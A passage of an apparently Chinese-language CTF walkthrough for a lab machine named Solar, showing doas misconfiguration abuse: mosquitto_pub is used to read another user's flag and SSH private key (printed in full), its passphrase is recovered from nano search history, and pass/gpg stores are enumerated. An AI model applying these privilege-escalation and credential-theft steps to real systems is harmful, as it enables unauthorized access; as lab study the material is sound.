Sep  4  2024 lenam\n(remote) www-data@solar:\/var\/www\/sunfriends.nyx$ ls -la \/home\/julian\/\ntotal 436\ndrwxr-xr-x 9 julian julian   4096 Sep  4  2024 .\ndrwxr-xr-x 4 root   root     4096 Aug 28  2024 ..\nlrwxrwxrwx 1 root   root        9 Aug 28  2024 .bash_history -&gt; \/dev\/null\n-rw-rw---- 1 julian julian    220 Apr 23  2023 .bash_logout\n-rw-rw---- 1 julian julian   3526 Apr 23  2023 .bashrc\ndrwxrwx--x 4 julian julian   4096 Aug 28  2024 .cache\ndrwxrwx--x 3 julian julian   4096 Aug 28  2024 .config\ndrwxrwx--x 3 julian julian   4096 Sep  4  2024 .gnupg\n-rw------- 1 julian julian     20 Sep  4  2024 .lesshst\ndrwxrwx--x 4 julian julian   4096 Sep  1  2024 .local\nlrwxrwxrwx 1 root   root        9 Aug 28  2024 .mysql_history -&gt; \/dev\/null\n-rw-rw---- 1 julian julian     16 Aug 29  2024 .node_repl_history\ndrwxrwx--x 3 julian julian   4096 Aug 28  2024 .npm\ndrwxrwx--x 5 julian julian   4096 Aug 28  2024 .nvm\ndrwxrwx--x 3 julian julian   4096 Aug 28  2024 .pki\n-rw-rw---- 1 julian julian    904 Sep  4  2024 .profile\n-rw------- 1 julian julian 386348 Sep  4  2024 my-pass.jpg\n(remote) www-data@solar:\/var\/www\/sunfriends.nyx$ ls -la \/home\/lenam\/ \ntotal 52\ndrwxr-xr-x 6 lenam lenam 4096 Sep  4  2024 .\ndrwxr-xr-x 4 root  root  4096 Aug 28  2024 ..\nlrwxrwxrwx 1 root  root     9 Jun 10  2024 .bash_history -&gt; \/dev\/null\n-rw-rw---- 1 lenam lenam  220 Jun 10  2024 .bash_logout\n-rw-rw---- 1 lenam lenam 3578 Aug 28  2024 .bashrc\ndrwxrwx--x 4 lenam lenam 4096 Sep  4  2024 .gnupg\nlrwxrwxrwx 1 lenam lenam    9 Aug 29  2024 .lesshst -&gt; \/dev\/null\ndrwxrwx--x 3 lenam lenam 4096 Jul 13  2024 .local\nlrwxrwxrwx 1 root  root     9 Jun 28  2024 .mysql_history -&gt; \/dev\/null\n-rw-rw---- 1 lenam lenam   48 Aug 28  2024 .nanorc\n-rw-rw---- 1 lenam lenam    9 Sep  4  2024 .node_repl_history\ndrwxrwx--x 4 lenam lenam 4096 Aug 29  2024 .password-store\n-rw-rw---- 1 lenam lenam  807 Jun 10  2024 .profile\ndrwxrwx--x 2 lenam lenam 4096 Aug 27  2024 .ssh\n-rw-rw---- 1 root  lenam   80 Sep  4  2024 note.txt\n-rw-rw---- 1 root  lenam   33 Jul 13  2024 user.txt\n(remote) www-data@solar:\/var\/www\/sunfriends.nyx$ find \/ -perm -u=s -type f 2&gt;\/dev\/null\n\/usr\/bin\/mount\n\/usr\/bin\/chfn\n\/usr\/bin\/su\n\/usr\/bin\/umount\n\/usr\/bin\/gpasswd\n\/usr\/bin\/doas\n\/usr\/bin\/passwd\n\/usr\/bin\/newgrp\n\/usr\/bin\/chsh\n\/usr\/lib\/openssh\/ssh-keysign\n\/usr\/lib\/dbus-1.0\/dbus-daemon-launch-helper\n(remote) www-data@solar:\/var\/www\/sunfriends.nyx$ cat \/etc\/doas.conf \npermit nopass www-data as lenam cmd \/usr\/bin\/mosquitto_pub\npermit lenam as julian cmd \/bin\/kill\npermit setenv { PATH } julian as root cmd \/usr\/local\/bin\/backups<\/code><\/pre>\n<h3>doas+nanosearchhistory\u63d0\u6743<\/h3>\n<p>\u5c1d\u8bd5\u8bfb\u53d6\u6587\u4ef6\uff0c\u7136\u540e\u4ece<code>mqttx<\/code>\u8fdb\u884c\u67e5\u770b\u5373\u53ef\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459516.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459516.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260102175033557\" style=\"zoom: 67%;\" \/><\/div><\/p>\n<pre><code class=\"language-bash\">(remote) www-data@solar:\/var\/www\/sunfriends.nyx$ mosquitto_pub --help\nmosquitto_pub is a simple mqtt client that will publish a message on a single topic and exit.\nmosquitto_pub version 2.0.11 running on libmosquitto 2.0.11.\n\nUsage: mosquitto_pub {[-h host] [--unix path] [-p port] [-u username] [-P password] -t topic | -L URL}\n                     {-f file | -l | -n | -m message}\n                     [-c] [-k keepalive] [-q qos] [-r] [--repeat N] [--repeat-delay time] [-x session-expiry]\n                     [-A bind_address] [--nodelay]\n                     [-i id] [-I id_prefix]\n                     [-d] [--quiet]\n                     [-M max_inflight]\n                     [-u username [-P password]]\n                     [--will-topic [--will-payload payload] [--will-qos qos] [--will-retain]]\n                     [{--cafile file | --capath dir} [--cert file] [--key file]\n                       [--ciphers ciphers] [--insecure]\n                       [--tls-alpn protocol]\n                       [--tls-engine engine] [--keyform keyform] [--tls-engine-kpass-sha1]]\n                       [--tls-use-os-certs]\n                     [--psk hex-key --psk-identity identity [--ciphers ciphers]]\n                     [--proxy socks-url]\n                     [--property command identifier value]\n                     [-D command identifier value]\n       mosquitto_pub --help\n\n -A : bind the outgoing socket to this host\/ip address. Use to control which interface\n      the client communicates over.\n -d : enable debug messages.\n -c : disable clean session\/enable persistent client mode\n      When this argument is used, the broker will be instructed not to clean existing sessions\n      for the same client id when the client connects, and sessions will never expire when the\n      client disconnects. MQTT v5 clients can change their session expiry interval with the -x\n      argument.\n -D : Define MQTT v5 properties. See the documentation for more details.\n -f : send the contents of a file as the message.\n -h : mqtt host to connect to. Defaults to localhost.\n -i : id to use for this client. Defaults to mosquitto_pub_ appended with the process id.\n -I : define the client id as id_prefix appended with the process id. Useful for when the\n      broker is using the clientid_prefixes option.\n -k : keep alive in seconds for this client. Defaults to 60.\n -L : specify user, password, hostname, port and topic as a URL in the form:\n      mqtt(s):\/\/[username[:password]@]host[:port]\/topic\n -l : read messages from stdin, sending a separate message for each line.\n -m : message payload to send.\n -M : the maximum inflight messages for QoS 1\/2..\n -n : send a null (zero length) message.\n -p : network port to connect to. Defaults to 1883 for plain MQTT and 8883 for MQTT over TLS.\n -P : provide a password\n -q : quality of service level to use for all messages. Defaults to 0.\n -r : message should be retained.\n -s : read message from stdin, sending the entire input as a message.\n -t : mqtt topic to publish to.\n -u : provide a username\n -V : specify the version of the MQTT protocol to use when connecting.\n      Can be mqttv5, mqttv311 or mqttv31. Defaults to mqttv311.\n -x : Set the session-expiry-interval property on the CONNECT packet. Applies to MQTT v5\n      clients only. Set to 0-4294967294 to specify the session will expire in that many\n      seconds after the client disconnects, or use -1, 4294967295, or \u221e for a session\n      that does not expire. Defaults to -1 if -c is also given, or 0 if -c not given.\n --help : display this message.\n --nodelay : disable Nagle&#039;s algorithm, to reduce socket sending latency at the possible\n             expense of more packets being sent.\n --quiet : don&#039;t print error messages.\n --repeat : if publish mode is -f, -m, or -s, then repeat the publish N times.\n --repeat-delay : if using --repeat, wait time seconds between publishes. Defaults to 0.\n --unix : connect to a broker through a unix domain socket instead of a TCP socket,\n          e.g. \/tmp\/mosquitto.sock\n --will-payload : payload for the client Will, which is sent by the broker in case of\n                  unexpected disconnection. If not given and will-topic is set, a zero\n                  length message will be sent.\n --will-qos : QoS level for the client Will.\n --will-retain : if given, make the client Will retained.\n --will-topic : the topic on which to publish the client Will.\n --cafile : path to a file containing trusted CA certificates to enable encrypted\n            communication.\n --capath : path to a directory containing trusted CA certificates to enable encrypted\n            communication.\n --cert : client certificate for authentication, if required by server.\n --key : client private key for authentication, if required by server.\n --keyform : keyfile type, can be either &quot;pem&quot; or &quot;engine&quot;.\n --ciphers : openssl compatible list of TLS ciphers to support.\n --tls-version : TLS protocol version, can be one of tlsv1.3 tlsv1.2 or tlsv1.1.\n                 Defaults to tlsv1.2 if available.\n --insecure : do not check that the server certificate hostname matches the remote\n              hostname. Using this option means that you cannot be sure that the\n              remote host is the server you wish to connect to and so is insecure.\n              Do not use this option in a production environment.\n --tls-engine : If set, enables the use of a TLS engine device.\n --tls-engine-kpass-sha1 : SHA1 of the key password to be used with the selected SSL engine.\n --tls-use-os-certs : Load and trust OS provided CA certificates.\n --psk : pre-shared-key in hexadecimal (no leading 0x) to enable TLS-PSK mode.\n --psk-identity : client identity string for TLS-PSK mode.\n --proxy : SOCKS5 proxy URL of the form:\n           socks5h:\/\/[username[:password]@]hostname[:port]\n           Only &quot;none&quot; and &quot;username&quot; authentication is supported.\n\nSee https:\/\/mosquitto.org\/ for more information.<\/code><\/pre>\n<p>\u6839\u636e\u4f7f\u7528\u8bf4\u660e\u8fdb\u884c\u5c1d\u8bd5\uff1a<\/p>\n<pre><code>(remote) www-data@solar:\/var\/www\/sunfriends.nyx$ doas -u lenam \/usr\/bin\/mosquitto_pub -t flag -f \/home\/lenam\/user.txt\nConnection error: Connection Refused: not authorised.\nError: The connection was refused.\n(remote) www-data@solar:\/var\/www\/sunfriends.nyx$ doas -u lenam \/usr\/bin\/mosquitto_pub -u 5up3r -P bloods -t flag -f \/home\/lenam\/user.txt\n(remote) www-data@solar:\/var\/www\/sunfriends.nyx$ doas -u lenam \/usr\/bin\/mosquitto_pub -u 5up3r -P bloods -t flag -f \/home\/lenam\/.ssh\/id_rsa\nError: Unable to open file &quot;\/home\/lenam\/.ssh\/id_rsa&quot;.\nError loading input file &quot;\/home\/lenam\/.ssh\/id_rsa&quot;.\n(remote) www-data@solar:\/var\/www\/sunfriends.nyx$ doas -u lenam \/usr\/bin\/mosquitto_pub -u 5up3r -P bloods -t flag -f \/home\/lenam\/.ssh\/authorized_keys<\/code><\/pre>\n<p>\u67e5\u770b\u4e00\u4e0b\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459517.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459517.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260102175634940\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u5f97\u5230\u4e86flag\u4ee5\u53ca\u516c\u94a5\uff0c\u53d1\u73b0\u79c1\u94a5\u4e3a<code>ssh-ed25519<\/code>:<\/p>\n<pre><code class=\"language-bash\">(remote) www-data@solar:\/var\/www\/sunfriends.nyx$ doas -u lenam \/usr\/bin\/mosquitto_pub -u 5up3r -P bloods -t flag -f \/home\/lenam\/.ssh\/id_ed25519<\/code><\/pre>\n<pre><code class=\"language-bash\">-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABACAiuY2y\nKncKfFktSk6euqAAAAEAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIE8G8M95Y8BUlMqb\nTsv9CKcq8mefKwEnXrGTswVfh0xoAAAAkIJIgfgFcAYwUAewcKCiH1cqgQJbCzjAwXYAxB\nu9G7Pr0WVwHcGPoksvuYrPodhd7dzkh1qYbNJvVkxgY1b99U8iANbgDjln+V48BWPY5\/OG\nR2ozwP2jgHFCyBdwqMr2zVnZbHA05br5wQoKWSEzmSC1N16q\/BGuOIUr3lDKPq4fJLdb7o\nI2a07w0+3R\/Wlbcw==\n-----END OPENSSH PRIVATE KEY-----<\/code><\/pre>\n<p>\u770b\u4e00\u4e0b\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Solar]\n\u2514\u2500$ cat temp       \n-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABACAiuY2y\nKncKfFktSk6euqAAAAEAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIE8G8M95Y8BUlMqb\nTsv9CKcq8mefKwEnXrGTswVfh0xoAAAAkIJIgfgFcAYwUAewcKCiH1cqgQJbCzjAwXYAxB\nu9G7Pr0WVwHcGPoksvuYrPodhd7dzkh1qYbNJvVkxgY1b99U8iANbgDjln+V48BWPY5\/OG\nR2ozwP2jgHFCyBdwqMr2zVnZbHA05br5wQoKWSEzmSC1N16q\/BGuOIUr3lDKPq4fJLdb7o\nI2a07w0+3R\/Wlbcw==\n-----END OPENSSH PRIVATE KEY-----\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Solar]\n\u2514\u2500$ ssh-keygen -y -f temp  \n@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@\n@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @\n@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@\nPermissions 0664 for &#039;temp&#039; are too open.\nIt is required that your private key files are NOT accessible by others.\nThis private key will be ignored.\nLoad key &quot;temp&quot;: bad permissions\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Solar]\n\u2514\u2500$ chmod 600 temp  \n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Solar]\n\u2514\u2500$ ssh-keygen -y -f temp\nEnter passphrase for &quot;temp&quot;: \n<\/code><\/pre>\n<p>\u53d1\u73b0\u9700\u8981\u5bc6\u7801\u3002\u3002\u3002\u3002\u3002\u90a3\u5c31\u627e\u4e00\u4e0b\u5bc6\u7801\u5427\u3002\u3002\u3002\u3002<\/p>\n<pre><code class=\"language-bash\">(remote) www-data@solar:\/var\/www\/sunfriends.nyx$ doas -u lenam \/usr\/bin\/mosquitto_pub -u 5up3r -P bloods -t flag -f \/home\/lenam\/.nanorc        \n(remote) www-data@solar:\/var\/www\/sunfriends.nyx$ doas -u lenam \/usr\/bin\/mosquitto_pub -u 5up3r -P bloods -t flag -f \/home\/lenam\/.node_repl_history\n(remote) www-data@solar:\/var\/www\/sunfriends.nyx$ doas -u lenam \/usr\/bin\/mosquitto_pub -u 5up3r -P bloods -t flag -f \/home\/lenam\/note.txt<\/code><\/pre>\n<pre><code class=\"language-bash\"># .nanorc     \ninclude \/usr\/share\/nano\/*.nanorc\nset historylog              # \u5f88\u91cd\u8981\uff01\uff01\uff01\uff01\n\n# .node_repl_history\n.exit\nque\n\n# note.txt\nYou just have to remember the one that starts with love and ends with a number.<\/code><\/pre>\n<p>\u5bc6\u7801\u53ef\u80fd\u662flove\u5f00\u5934\u5bc6\u7801\u7ed3\u5c3e\u7684\uff0c\u7206\u7834\uff1f\u7b97\u4e86\u63a5\u7740\u770b\u5427\uff1a<\/p>\n<pre><code class=\"language-bash\">(remote) www-data@solar:\/var\/www\/sunfriends.nyx$ find \/ -user lenam -type f 2&gt;\/dev\/null | grep -v proc\n\/home\/lenam\/.node_repl_history\n\/home\/lenam\/.bashrc\n\/home\/lenam\/.profile\n\/home\/lenam\/.nanorc\n\/home\/lenam\/.bash_logout\n(remote) www-data@solar:\/var\/www\/sunfriends.nyx$ find \/ -group lenam -type f 2&gt;\/dev\/null | grep -v proc\n\/home\/lenam\/.node_repl_history\n\/home\/lenam\/.bashrc\n\/home\/lenam\/.profile\n\/home\/lenam\/.nanorc\n\/home\/lenam\/user.txt\n\/home\/lenam\/note.txt\n\/home\/lenam\/.bash_logout<\/code><\/pre>\n<p>\u4f5c\u8005\u8fd9\u91cc\u5229\u7528\u8fd9\u4e2a\u7a0b\u5e8f\u7528\u4ee5\u68c0\u6d4b\u7cfb\u7edf\u6587\u4ef6\u662f\u5426\u5b58\u5728\uff0c\u771f\u662f\u4e00\u4e2a\u7f8e\u5999\u7684\u60f3\u6cd5\u3002\u3002\u3002\u3002\u770b\u4e00\u4e0b\u662f\u548b\u505a\u7684\u5427\uff0c\u9996\u5148\u770b\u4e86\u4e00\u4e0b\u7cfb\u7edf\u7248\u672c\uff1a<\/p>\n<pre><code class=\"language-bash\">(remote) www-data@solar:\/tmp$ cat \/etc\/debian_version \n12.7<\/code><\/pre>\n<p>\u7136\u540e\u53bb\u5b98\u7f51\u627e\u4e86\u4e00\u4e0b\u76f8\u5173\u6587\u4ef6\u540d\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Solar]\n\u2514\u2500$ curl https:\/\/wiki.debian.org\/DotFilesList 2&gt; \/dev\/null | grep -oP &#039;(?&lt;=\\&lt;tt class=&quot;backtick&quot;&gt;).*?(?=&lt;\/tt&gt;)&#039; | sort | uniq<\/code><\/pre>\n<p>\u7136\u540e\u4f7f\u7528<code>mosquitto_pub<\/code>\u8fdb\u884c\u6279\u91cf\u9a8c\u8bc1\uff1a<\/p>\n<pre><code class=\"language-bash\">cat .\/dotfiles.txt | tr &#039;\\n&#039; &#039;\\0&#039; | xargs -0 -I {} -P 50 bash -c &#039;\n    result=$(doas -u lenam \/usr\/bin\/mosquitto_pub -f &quot;\/home\/lenam\/.local\/nano\/{}&quot; 2&gt;&amp;1 | wc -l)\n    if [ &quot;$result&quot; -eq 3 ]; then\n        echo &quot;** Folder {} $(ls -dlah {} 2&gt;\/dev\/null)&quot;\n    elif [ &quot;$result&quot; -eq 97 ]; then\n        echo &quot;** File {} $(ls -lah {} 2&gt;\/dev\/null)&quot;\n    fi\n&#039;<\/code><\/pre>\n<p>\u901a\u8fc7\u8f93\u51fa\u5224\u5355<code>\/nano<\/code>\u4e0b\u662f\u5426\u5b58\u5728\u7684\u6587\u4ef6\u7684\u4e00\u4e2a\u5e76\u884c\u9a8c\u8bc1\u811a\u672c\uff0cnbplus\uff01\uff01\uff01\u4f46\u662f\u6211\u672c\u5730\u6ca1\u6709\u590d\u73b0\u6210\u529f\u54c8\uff0c\u4e0d\u8fc7\u8fd9\u4e2a\u4e0d\u91cd\u8981\uff0c\u53ef\u4ee5\u672c\u5730\u5b9e\u9a8c\u4e00\u4e0b\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Solar]\n\u2514\u2500$ cd ~\/                   \n\n\u250c\u2500\u2500(kali\u327fkali)-[~]\n\u2514\u2500$ pwd\n\/home\/kali\n\n\u250c\u2500\u2500(kali\u327fkali)-[~]\n\u2514\u2500$ vim .nanorc\n\n\u250c\u2500\u2500(kali\u327fkali)-[~]\n\u2514\u2500$ cat .nanorc \ninclude \/usr\/share\/nano\/*.nanorc\nset historylog \n\n\u250c\u2500\u2500(kali\u327fkali)-[~]\n\u2514\u2500$ nano \/tmp\/test                                  \n\n\u250c\u2500\u2500(kali\u327fkali)-[~]\n\u2514\u2500$ cat \/tmp\/test \ntesttestetsstetes\nesttetstets\neseyesyyeyseys\nyesyeys\n\n\u250c\u2500\u2500(kali\u327fkali)-[~]\n\u2514\u2500$ ls -la .\/.local\/share\/nano \ntotal 8\ndrwx------  2 kali kali 4096 Jan  2 05:46 .\ndrwxr-xr-x 14 kali kali 4096 Jan  2 05:46 ..\n\n\u250c\u2500\u2500(kali\u327fkali)-[~]\n\u2514\u2500$ nano \/tmp\/test            \n\n\u250c\u2500\u2500(kali\u327fkali)-[~]\n\u2514\u2500$ ls -la .\/.local\/share\/nano\ntotal 12\ndrwx------  2 kali kali 4096 Jan  2 05:50 .\ndrwxr-xr-x 14 kali kali 4096 Jan  2 05:46 ..\n-rw-------  1 kali kali   12 Jan  2 05:50 search_history<\/code><\/pre>\n<p><code>set historylog<\/code> \u914d\u7f6e\u9879\u672c\u8eab\u4e0d\u4f1a\u5728\u7279\u5b9a\u65f6\u95f4\u70b9&quot;\u89e6\u53d1&quot;\uff0c\u5b83\u53ea\u662f<strong>\u542f\u7528<\/strong>\u5386\u53f2\u8bb0\u5f55\u529f\u80fd\u3002<strong>\u5728 nano \u4e2d\u6267\u884c\u641c\u7d22\uff08ctrl+w\uff09\u6216\u66ff\u6362\uff08ctrl + \\\uff09\u64cd\u4f5c\u65f6<\/strong>\uff0c\u8fd9\u4e2a\u529f\u80fd\u624d\u4f1a\u88ab\u89e6\u53d1\uff0c\u627e\u4e00\u4e0b\uff1a<\/p>\n<pre><code class=\"language-bash\">doas -u lenam \/usr\/bin\/mosquitto_pub -u 5up3r -P bloods -t flag -f \/home\/lenam\/.local\/share\/nano\/search_history<\/code><\/pre>\n<pre><code class=\"language-bash\">&lt;title&gt;\nconf-key-passphrase\nbackups\ntestpassword\nCzMO48xpwof8nvQ6JUhF\n\nCzMO48xpwof8nvQ6JUhF\n\nif (typeoff data === &quot;string&quot;)\nTODO\n<\/code><\/pre>\n<p>\u627e\u5230\u4e86\u5bc6\u7801\u3002\u3002\u3002\u3002\u3002\u3002<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Solar]\n\u2514\u2500$ ssh-keygen -y -f temp\nEnter passphrase for &quot;temp&quot;: \nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE8G8M95Y8BUlMqbTsv9CKcq8mefKwEnXrGTswVfh0xo lenam@solar\n<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459518.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459518.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260102185615108\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h3>gpg\u7206\u7834\u5bc6\u7801+kill node=&gt;debug=&gt;\u53cd\u5f39shell<\/h3>\n<pre><code class=\"language-bash\">lenam@solar:~$ ls -la\ntotal 52\ndrwxr-xr-x 6 lenam lenam 4096 Sep  4  2024 .\ndrwxr-xr-x 4 root  root  4096 Aug 28  2024 ..\nlrwxrwxrwx 1 root  root     9 Jun 10  2024 .bash_history -&gt; \/dev\/null\n-rw-rw---- 1 lenam lenam  220 Jun 10  2024 .bash_logout\n-rw-rw---- 1 lenam lenam 3578 Aug 28  2024 .bashrc\ndrwxrwx--x 4 lenam lenam 4096 Sep  4  2024 .gnupg\nlrwxrwxrwx 1 lenam lenam    9 Aug 29  2024 .lesshst -&gt; \/dev\/null\ndrwxrwx--x 3 lenam lenam 4096 Jul 13  2024 .local\nlrwxrwxrwx 1 root  root     9 Jun 28  2024 .mysql_history -&gt; \/dev\/null\n-rw-rw---- 1 lenam lenam   48 Aug 28  2024 .nanorc\n-rw-rw---- 1 lenam lenam    9 Sep  4  2024 .node_repl_history\n-rw-rw---- 1 root  lenam   80 Sep  4  2024 note.txt\ndrwxrwx--x 4 lenam lenam 4096 Aug 29  2024 .password-store\n-rw-rw---- 1 lenam lenam  807 Jun 10  2024 .profile\ndrwxrwx--x 2 lenam lenam 4096 Aug 27  2024 .ssh\n-rw-rw---- 1 root  lenam   33 Jul 13  2024 user.txt\nlenam@solar:~$ ls -la .\/.ssh\ntotal 20\ndrwxrwx--x 2 lenam lenam 4096 Aug 27  2024 .\ndrwxr-xr-x 6 lenam lenam 4096 Sep  4  2024 ..\n-rw-rw---- 1 lenam lenam   93 Aug 27  2024 authorized_keys\n-rw-rw---- 1 lenam lenam  444 Aug 27  2024 id_ed25519\n-rw-rw---- 1 lenam lenam   93 Aug 27  2024 id_ed25519.pub\nlenam@solar:~$ cat \/etc\/doas.conf \npermit nopass www-data as lenam cmd \/usr\/bin\/mosquitto_pub\npermit lenam as julian cmd \/bin\/kill\npermit setenv { PATH } julian as root cmd \/usr\/local\/bin\/backups\nlenam@solar:~$ doas -u julian \/bin\/kill\ndoas (lenam@solar) password: \nlenam@solar:~$ pass\nPassword Store\n\u251c\u2500\u2500 personal\n\u2502   \u251c\u2500\u2500 private_id\n\u2502   \u2514\u2500\u2500 user\n\u2514\u2500\u2500 work\n    \u2514\u2500\u2500 office<\/code><\/pre>\n<p>\u5b58\u5728\u4e09\u4e2a\u5bc6\u7801\uff0c\u5c1d\u8bd5\u8fdb\u884c\u83b7\u53d6\uff0c\u53d1\u73b0\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459519.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459519.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260103124124389\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u53d1\u73b0\u6709\u52a0\u5bc6\uff0c\u53ef\u80fd\u662f\u4e3a<code>htb<\/code>\u505a\u7684\u9776\u673a\uff0c\u770b\u4e00\u4e0b\uff0c\u6709\u4e00\u4e2a\u53eb<code>.gnupg<\/code>\u7684\u9ed8\u8ba4\u76ee\u5f55\uff0c\u67e5\u4e86\u4e00\u4e0b\u4f3c\u4e4e\u662f GnuPG\/GPG \u5b58\u50a8\u5176\u914d\u7f6e\u3001\u5bc6\u94a5\u548c\u5176\u4ed6\u654f\u611f\u6570\u636e\uff0c\u770b\u4e00\u4e0b\u662f\u4e2a\u5565 <a href=\"https:\/\/github.com\/gpg\/gnupg\">https:\/\/github.com\/gpg\/gnupg<\/a>\uff1a<\/p>\n<pre><code class=\"language-bash\">lenam@solar:~\/.gnupg$ gpg\ngpg: WARNING: unsafe permissions on homedir &#039;\/home\/lenam\/.gnupg&#039;\ngpg: WARNING: no command supplied.  Trying to guess what you mean ...\ngpg: Go ahead and type your message ...\n^C\ngpg: signal Interrupt caught ... exiting\n\nlenam@solar:~\/.gnupg$ gpg --version\ngpg: WARNING: unsafe permissions on homedir &#039;\/home\/lenam\/.gnupg&#039;\ngpg (GnuPG) 2.2.40\nlibgcrypt 1.10.1\nCopyright (C) 2022 g10 Code GmbH\nLicense GNU GPL-3.0-or-later &lt;https:\/\/gnu.org\/licenses\/gpl.html&gt;\nThis is free software: you are free to change and redistribute it.\nThere is NO WARRANTY, to the extent permitted by law.\n\nHome: \/home\/lenam\/.gnupg\nSupported algorithms:\nPubkey: RSA, ELG, DSA, ECDH, ECDSA, EDDSA\nCipher: IDEA, 3DES, CAST5, BLOWFISH, AES, AES192, AES256, TWOFISH,\n        CAMELLIA128, CAMELLIA192, CAMELLIA256\nHash: SHA1, RIPEMD160, SHA256, SHA384, SHA512, SHA224\nCompression: Uncompressed, ZIP, ZLIB, BZIP2<\/code><\/pre>\n<p>\u770b\u4e00\u4e0b\u5176\u4ed6\u57fa\u672c\u4fe1\u606f\uff1a<\/p>\n<pre><code class=\"language-bash\">lenam@solar:~\/.gnupg$ gpg -k --with-keygrip\ngpg: WARNING: unsafe permissions on homedir &#039;\/home\/lenam\/.gnupg&#039;\n\/home\/lenam\/.gnupg\/pubring.kbx\n------------------------------\npub   rsa3072 2024-08-29 [SC]\n      E6DB2B029F01725397A555CD6CE6C909C038D50C\n      Keygrip = 18DB29FBB15652340964CF0E1C710F34AA848ADD\nuid           [ultimate] 